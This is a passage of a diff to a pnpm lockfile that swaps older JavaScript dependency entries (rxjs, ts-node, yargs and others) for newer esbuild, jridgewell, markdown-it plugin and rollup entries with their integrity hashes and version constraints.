resolution: {integrity: sha512-eggDKanJszUtCdlVs0RB+h35wNlb5v4TWEkq4vZcmVt5u/HiDZrTXe2bWFQUez3RgNHwx/x4sk5++4NSSicKkw==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + requiresBuild: true dev: true + optional: true - /resolve-from/4.0.0: - resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} - engines: {node: '>=4'} + /@esbuild/win32-x64@0.17.19: + resolution: {integrity: sha512-lAhycmKnVOuRYNtRtatQR1LPQf2oYCkRGkSFnseDAKPl8lu5SOsK/e1sXe5a0Pc5kHIHe6P2I/ilntNv2xf3cA==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + requiresBuild: true dev: true + optional: true - /resolve-from/5.0.0: - resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} - engines: {node: '>=8'} + /@jridgewell/gen-mapping@0.1.1: + resolution: {integrity: sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==} + engines: {node: '>=6.0.0'} + dependencies: + '@jridgewell/set-array': 1.1.1 + '@jridgewell/sourcemap-codec': 1.4.15 dev: true - /resolve-global/1.0.0: - resolution: {integrity: sha512-zFa12V4OLtT5XUX/Q4VLvTfBf+Ok0SPc1FNGM/z9ctUdiU618qwKpWnd0CHs3+RqROfyEg/DhuHbMWYqcgljEw==} - engines: {node: '>=8'} + /@jridgewell/gen-mapping@0.3.2: + resolution: {integrity: sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==} + engines: {node: '>=6.0.0'} dependencies: - global-dirs: 0.1.1 + '@jridgewell/set-array': 1.1.1 + '@jridgewell/sourcemap-codec': 1.4.15 + '@jridgewell/trace-mapping': 0.3.17 dev: true - /restore-cursor/2.0.0: - resolution: {integrity: sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==} - engines: {node: '>=4'} - dependencies: - onetime: registry.npmmirror.com/onetime/2.0.1 - signal-exit: registry.npmmirror.com/signal-exit/3.0.7 + /@jridgewell/resolve-uri@3.1.0: + resolution: {integrity: sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==} + engines: {node: '>=6.0.0'} dev: true - /run-async/2.4.1: - resolution: {integrity: sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==} - engines: {node: '>=0.12.0'} + /@jridgewell/set-array@1.1.1: + resolution: {integrity: sha512-Ct5MqZkLGEXTVmQYbGtx9SVqD2fqwvdubdps5D3djjAkgkKwT918VNOz65pEHFaYTeWcukmJmH5SwsA9Tn2ObQ==} + engines: {node: '>=6.0.0'} dev: true - /rxjs/6.6.7: - resolution: {integrity: sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==} - engines: {npm: '>=2.0.0'} + /@jridgewell/source-map@0.3.2: + resolution: {integrity: sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==} dependencies: - tslib: 1.14.1 + '@jridgewell/gen-mapping': 0.3.2 + '@jridgewell/trace-mapping': 0.3.17 dev: true - /safer-buffer/2.1.2: - resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + /@jridgewell/sourcemap-codec@1.4.14: + resolution: {integrity: sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==} dev: true - /semver/7.3.7: - resolution: {integrity: sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==} - engines: {node: '>=10'} - hasBin: true - dependencies: - lru-cache: registry.npmmirror.com/lru-cache/6.0.0 + /@jridgewell/sourcemap-codec@1.4.15: + resolution: {integrity: sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==} dev: true - /shebang-command/2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} - engines: {node: '>=8'} + /@jridgewell/trace-mapping@0.3.17: + resolution: {integrity: sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g==} dependencies: - shebang-regex: 3.0.0 - dev: true - - /shebang-regex/3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} - engines: {node: '>=8'} + '@jridgewell/resolve-uri': 3.1.0 + '@jridgewell/sourcemap-codec': 1.4.14 dev: true - /signal-exit/3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + /@jridgewell/trace-mapping@0.3.9: + resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==} + dependencies: + '@jridgewell/resolve-uri': 3.1.0 + '@jridgewell/sourcemap-codec': 1.4.14 dev: true - /spdx-correct/3.1.1: - resolution: {integrity: sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==} - dependencies: - spdx-expression-parse: 3.0.1 - spdx-license-ids: 3.0.11 + /@kurkle/color@0.3.2: + resolution: {integrity: sha512-fuscdXJ9G1qb7W8VdHi+IwRqij3lBkosAm4ydQtEmbY58OzHXqQhvlxqEkoz0yssNVn38bcpRWgA9PP+OGoisw==} dev: true - /spdx-exceptions/2.3.0: - resolution: {integrity: sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==} + /@lit-labs/ssr-dom-shim@1.1.1: + resolution: {integrity: sha512-kXOeFbfCm4fFf2A3WwVEeQj55tMZa8c8/f9AKHMobQMkzNUfUj+antR3fRPaZJawsa1aZiP/Da3ndpZrwEe4rQ==} dev: true - /spdx-expression-parse/3.0.1: - resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==} + /@lit/reactive-element@1.6.2: + resolution: {integrity: sha512-rDfl+QnCYjuIGf5xI2sVJWdYIi56CTCwWa+nidKYX6oIuBYwUbT/vX4qbUDlHiZKJ/3FRNQ/tWJui44p6/stSA==} dependencies: - spdx-exceptions: 2.3.0 - spdx-license-ids: 3.0.11 + '@lit-labs/ssr-dom-shim': 1.1.1 dev: true - /spdx-license-ids/3.0.11: - resolution: {integrity: sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==} + /@maverick-js/signals@5.11.2: + resolution: {integrity: sha512-jKAyNE2O7H+xrigPoqdV0Iq2AeQ6cysfBf/b2jasJ4FfCUKjGyazgtp+pIspTW6skFvpPrvq40Qft+7HuR+Tlg==} dev: true - /split2/3.2.2: - resolution: {integrity: sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==} + /@mdit-vue/plugin-component@0.12.0: + resolution: {integrity: sha512-LrwV3f0Y6H7b7m/w1Y3bkGuR3HOiBK4QiHHW3HuRMza6MZodDQbj8Baik5/V5GiSg1/ltijS1CymVcycd1EfTw==} dependencies: - readable-stream: registry.npmmirror.com/readable-stream/3.6.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /string-width/2.1.1: - resolution: {integrity: sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==} - engines: {node: '>=4'} + /@mdit-vue/plugin-frontmatter@0.12.0: + resolution: {integrity: sha512-26Y3JktjGgNoCVH7NLqi5RcdAauAqxepTt2qXueRcRHtGpiRQV2/M1FveIhCOTCtHSuG5bBOHUxGaV6vRK3Vbw==} dependencies: - is-fullwidth-code-point: 2.0.0 - strip-ansi: 4.0.0 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + gray-matter: 4.0.3 + markdown-it: 13.0.1 dev: true - /string-width/4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} + /@mdit-vue/plugin-headers@0.12.0: + resolution: {integrity: sha512-7qR63J2uc/rXbjHT77WoYBm9imwzx1tVESmRK+Uth6kqFvSWAXAFPcm4PBatGEE8TgzhklPs5BTcQtQhmmsyaw==} dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: registry.npmmirror.com/strip-ansi/6.0.1 + '@mdit-vue/shared': 0.12.0 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /strip-ansi/4.0.0: - resolution: {integrity: sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==} - engines: {node: '>=4'} + /@mdit-vue/plugin-sfc@0.12.0: + resolution: {integrity: sha512-mH+rHsERzDxGucAQJILspRiD723AIWMmtMhp7lDKdkCIbIhYfupFv/CkSeX+LAx5UY5greWvUTPGYVKn4gw/5Q==} dependencies: - ansi-regex: registry.npmmirror.com/ansi-regex/3.0.1 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /strip-ansi/5.2.0: - resolution: {integrity: sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==} - engines: {node: '>=6'} + /@mdit-vue/plugin-title@0.12.0: + resolution: {integrity: sha512-XrQcior1EmPgsDG88KsoF4LUSQw/RS1Nyfn5xNWGiurO70a2hml4kCe0XzT4sLKUAPG0HNbIY6b92ezNezqWTg==} dependencies: - ansi-regex: 4.1.1 - dev: true - - /strip-bom/4.0.0: - resolution: {integrity: sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==} - engines: {node: '>=8'} + '@mdit-vue/shared': 0.12.0 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /strip-final-newline/2.0.0: - resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} - engines: {node: '>=6'} + /@mdit-vue/plugin-toc@0.12.0: + resolution: {integrity: sha512-tT985CqvLp17DFWHrSvmmJbh7qcy0Rl0dBbYN//Fn952a04dbr1mb2LqW0B1oStSAQj2q24HpK4ZPgYOt7Z1Jg==} + dependencies: + '@mdit-vue/shared': 0.12.0 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /strip-indent/3.0.0: - resolution: {integrity: sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==} - engines: {node: '>=8'} + /@mdit-vue/shared@0.12.0: + resolution: {integrity: sha512-E+sGSubhvnp+Gmb2hJXFDxdLwwQD1H52EVbA4yrxxI5q/cwtnPIN2eJU3zlZB9KcvzXYDFFwt/x2mfhK8RZKBg==} dependencies: - min-indent: 1.0.1 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /strip-json-comments/3.0.1: - resolution: {integrity: sha512-VTyMAUfdm047mwKl+u79WIdrZxtFtn+nBxHeb844XBQ9uMNTuTHdx2hc5RiAJYqwTj3wc/xe5HLSdJSkJ+WfZw==} - engines: {node: '>=8'} + /@mdit-vue/types@0.12.0: + resolution: {integrity: sha512-mrC4y8n88BYvgcgzq9bvTlDgFyi2zuvzmPilRvRc3Uz1iIvq8mDhxJ0rHKFUNzPEScpDvJdIujqiDrulMqiudA==} dev: true - /supports-color/5.5.0: - resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} - engines: {node: '>=4'} + /@mdit/plugin-align@0.4.8: + resolution: {integrity: sha512-n6dNMqXb2wZmQ2dod8fq18ehEq+KtMNFoDpC6H3oCaAv/kXT7fYSry0fqrFBP5I3l8yevrgAwo+zZC+c3cyZig==} + engines: {node: '>= 14'} dependencies: - has-flag: 3.0.0 + '@mdit/plugin-container': 0.4.8 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /supports-color/7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} + /@mdit/plugin-attrs@0.4.8: + resolution: {integrity: sha512-SB2yTHRNG8j5shh1TtJAPuPFWaMeQp6P/9ieLVPFdXLU6RPobEwf1GAX39YDaIKaWXEmkEJJdKFClOKmyWd9BQ==} + engines: {node: '>= 14'} dependencies: - has-flag: registry.npmmirror.com/has-flag/4.0.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /text-extensions/1.9.0: - resolution: {integrity: sha512-wiBrwC1EhBelW12Zy26JeOUkQ5mRu+5o8rpsJk5+2t+Y5vE7e842qtZDQ2g1NpX/29HdyFeJ4nSIhI47ENSxlQ==} - engines: {node: '>=0.10'} + /@mdit/plugin-container@0.4.8: + resolution: {integrity: sha512-ruiP9XrJ6Uaru/9ZO7iBGm96Fiqr/4Ecn6zHER3/GzWpRJ9oPjrDBWoQ9eFrmINoq1C89puZG0lmAJJ9KCTeAw==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /through/2.3.8: - resolution: {integrity: sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==} + /@mdit/plugin-figure@0.4.8: + resolution: {integrity: sha512-fzFwKlE34pnenqAshqHtCrgv5Ro9QE0Cjd0BR/wxkFCy4ZyyVHZUNA007HOz/j9t5ryVimdZQPcqfcQEcBk8sA==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /through2/4.0.2: - resolution: {integrity: sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==} + /@mdit/plugin-footnote@0.4.8: + resolution: {integrity: sha512-D2OOOoiMEdgI4p5NAtAK8wjOK3th4qIB6ZkOZ38USN+nzTwNy51Prq/elKiqhEd95q0BtWobrPsrY7qO1BW7kA==} + engines: {node: '>= 14'} dependencies: - readable-stream: registry.npmmirror.com/readable-stream/3.6.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /tmp/0.0.33: - resolution: {integrity: sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==} - engines: {node: '>=0.6.0'} + /@mdit/plugin-img-lazyload@0.4.8: + resolution: {integrity: sha512-GGppqJQhl5pZ2CftLxstxMVSZQCdOiJB/1aKEMjpi+EehYV1MlKPzaQp+XTyVDJAkv/k6pe+91ZnsSZgHnIUcA==} + engines: {node: '>= 14'} dependencies: - os-tmpdir: 1.0.2 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /trim-newlines/3.0.1: - resolution: {integrity: sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==} - engines: {node: '>=8'} + /@mdit/plugin-img-mark@0.4.8: + resolution: {integrity: sha512-00zkJ3cIW1R5O+lk/WHuhOrHFdO17TVVxfBN8mhzH6S17W+2KqBMcBv5fpxi7g3R95rZ1fAZ6T1I5lg069RBkA==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /ts-node/10.8.2_wkok7lthibal5qjhsdd5yq2cfe: - resolution: {integrity: sha512-LYdGnoGddf1D6v8REPtIH+5iq/gTDuZqv2/UJUU7tKjuEU8xVZorBM+buCGNjj+pGEud+sOoM4CX3/YzINpENA==} - hasBin: true - peerDependencies: - '@swc/core': '>=1.2.50' - '@swc/wasm': '>=1.2.50' - '@types/node': '*' - typescript: '>=2.7' - peerDependenciesMeta: - '@swc/core': - optional: true - '@swc/wasm': - optional: true + /@mdit/plugin-img-size@0.4.8: + resolution: {integrity: sha512-+fkNRrhkwZgIRJi6ucginEzy95pmhekOer23gBbOOezZev9D4XpA1tFhLAu1srvUVAKh+JmRXiVJUT71Xw9LTg==} + engines: {node: '>= 14'} dependencies: - '@cspotcode/source-map-support': 0.8.1 - '@tsconfig/node10': 1.0.9 - '@tsconfig/node12': 1.0.11 - '@tsconfig/node14': 1.0.3 - '@tsconfig/node16': 1.0.3 - '@types/node': 17.0.32 - acorn: registry.npmmirror.com/acorn/8.7.1 - acorn-walk: 8.2.0 - arg: registry.npmmirror.com/arg/4.1.3 - create-require: 1.1.1 - diff: 4.0.2 - make-error: 1.3.6 - typescript: 4.7.4 - v8-compile-cache-lib: 3.0.1 - yn: 3.1.1 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /tslib/1.14.1: - resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==} + /@mdit/plugin-include@0.4.8: + resolution: {integrity: sha512-Hd+ZjisjjUS6ZRtjXUkfbYx3HpGKAY4XVpzmvhinK4+EPqiW4SrQor4G03ckpYu2fFjBF6u6+NbMtkHD8dcMZQ==} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 + upath: 2.0.1 dev: true - /typescript/4.7.4: - resolution: {integrity: sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==} - engines: {node: '>=4.2.0'} - hasBin: true + /@mdit/plugin-katex@0.4.8: + resolution: {integrity: sha512-IQUfqpRp+/0gq0VDUOLI0xVvAaiHQv91f6PFBuRG2mvxSsJBECCWZTiJpCgriL7XHSVeSI8zHEYsha9UR674nw==} + engines: {node: '>= 14'} + dependencies: + '@mdit/plugin-tex': 0.4.8 + '@types/katex': 0.16.0 + '@types/markdown-it': 12.2.3 + katex: 0.16.8 + markdown-it: 13.0.1 dev: true - /universalify/0.1.2: - resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} - engines: {node: '>= 4.0.0'} + /@mdit/plugin-mark@0.4.8: + resolution: {integrity: sha512-51sV7MsPPoW+oa47mwUoD44a3N6XcnYBCOixuDtPzpmKH7ueUJ/ULOGJoBsbveo/ZqTCivJ+3cwoTujaGua8mQ==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /uri-js/4.4.1: - resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + /@mdit/plugin-mathjax@0.4.8: + resolution: {integrity: sha512-eFFYR6Qo9eZnS+3vUVIHd1lLasx6Upybu3tvdNJ119CUkVd3edtvDqI286RJuApfyDM0uAzkqEgmSKCr4pT8NA==} + engines: {node: '>= 14'} dependencies: - punycode: registry.npmmirror.com/punycode/2.1.1 + '@mdit/plugin-tex': 0.4.8 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 + mathjax-full: 3.2.2 + upath: 2.0.1 dev: true - /v8-compile-cache-lib/3.0.1: - resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==} + /@mdit/plugin-stylize@0.4.8: + resolution: {integrity: sha512-Wjo3hEHGybu+2ubLaUY52g5SCk6ThFwHYQAYScB7NX39lbr1xefVKs5RYeyH3xCRMdK3S5+b1mlklrdSARQ1fg==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /validate-npm-package-license/3.0.4: - resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==} + /@mdit/plugin-sub@0.4.8: + resolution: {integrity: sha512-U/6FtGgakdk/JhybHGHykBampF5YMZFkS1DB9uht/3uycWT4ejGefZ1XT9r59liQ3Bh/9CTy0niRNvMwdolPOA==} + engines: {node: '>= 14'} dependencies: - spdx-correct: 3.1.1 - spdx-expression-parse: 3.0.1 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /which/2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} - engines: {node: '>= 8'} - hasBin: true + /@mdit/plugin-sup@0.4.8: + resolution: {integrity: sha512-wv4n9PKoiXI2RFqUrqOSxcKl71mTNCzlNJNlb4WfF9OTIn1CXR298EeL6XnbgS6snLuraur15PgGqwWw6wP7AQ==} + engines: {node: '>= 14'} dependencies: - isexe: 2.0.0 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /word-wrap/1.2.3: - resolution: {integrity: sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==} - engines: {node: '>=0.10.0'} + /@mdit/plugin-tab@0.4.8: + resolution: {integrity: sha512-/YUI4KQAtHUE6AkJUfIEIKjnK8LEAkcBMe2z8SYmzeEs9U0vHvQNawUd6ANHOXrpeqyPrgQnhWqGkF4yMqfAjg==} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /wrap-ansi/7.0.0: - resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} - engines: {node: '>=10'} + /@mdit/plugin-tasklist@0.4.8: + resolution: {integrity: sha512-VAnCR4dnfqOpW1hPEAunJFVvV31eARnD23XPSK3JAQADUFtnileoR0OdXZATC4gTsuVnYh8V8d7rujjL1QvxQw==} + engines: {node: '>= 14'} dependencies: - ansi-styles: registry.npmmirror.com/ansi-styles/4.3.0 - string-width: 4.2.3 - strip-ansi: registry.npmmirror.com/strip-ansi/6.0.1 + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /wrappy/1.0.2: - resolution: {integrity: sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=} + /@mdit/plugin-tex@0.4.8: + resolution: {integrity: sha512-HgWb8l0Can+NsxFfLu358Xwj1plxXHXf2YkjxM316pUeVZhNhjPjoqIpR46ebCwWbWW+GmwT0YdeUvQrDgM3ig==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /y18n/5.0.8: - resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} - engines: {node: '>=10'} + /@mdit/plugin-uml@0.4.8: + resolution: {integrity: sha512-X414T54zh0i+n5MbPL0kzGwRzcCU0hlpe4wp74cr44RWrsvJ8+78ioOx7WJOM8rgGHRWIoEEp6BjB1WfI734Iw==} + engines: {node: '>= 14'} + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - /yaml/1.10.2: - resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} - engines: {node: '>= 6'} + /@nicolo-ribaudo/semver-v6@6.3.3: + resolution: {integrity: sha512-3Yc1fUTs69MG/uZbJlLSI3JISMn2UV2rg+1D/vROUqZyh3l6iYHCs7GMp+M40ZD7yOdDbYjJcU1oTJhrc+dGKg==} + hasBin: true dev: true - /yargs-parser/20.2.9: - resolution: {integrity: sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==} - engines: {node: '>=10'} + /@nodelib/fs.scandir@2.1.5: + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 dev: true - /yargs-parser/21.0.1: - resolution: {integrity: sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==} - engines: {node: '>=12'} + /@nodelib/fs.stat@2.0.5: + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} dev: true - /yargs/17.5.1: - resolution: {integrity: sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==} - engines: {node: '>=12'} + /@nodelib/fs.walk@1.2.8: + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} dependencies: - cliui: 7.0.4 - escalade: 3.1.1 - get-caller-file: 2.0.5 - require-directory: 2.1.1 - string-width: 4.2.3 - y18n: 5.0.8 - yargs-parser: 21.0.1 + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.13.0 dev: true - /yn/3.1.1: - resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==} - engines: {node: '>=6'} - dev: true - - /yocto-queue/0.1.0: - resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} - engines: {node: '>=10'} + /@rollup/plugin-babel@5.3.1(@babel/core@7.22.8)(rollup@2.79.1): + resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==} + engines: {node: '>= 10.0.0'} + peerDependencies: + '@babel/core': ^7.0.0 + '@types/babel__core': ^7.1.9 + rollup: 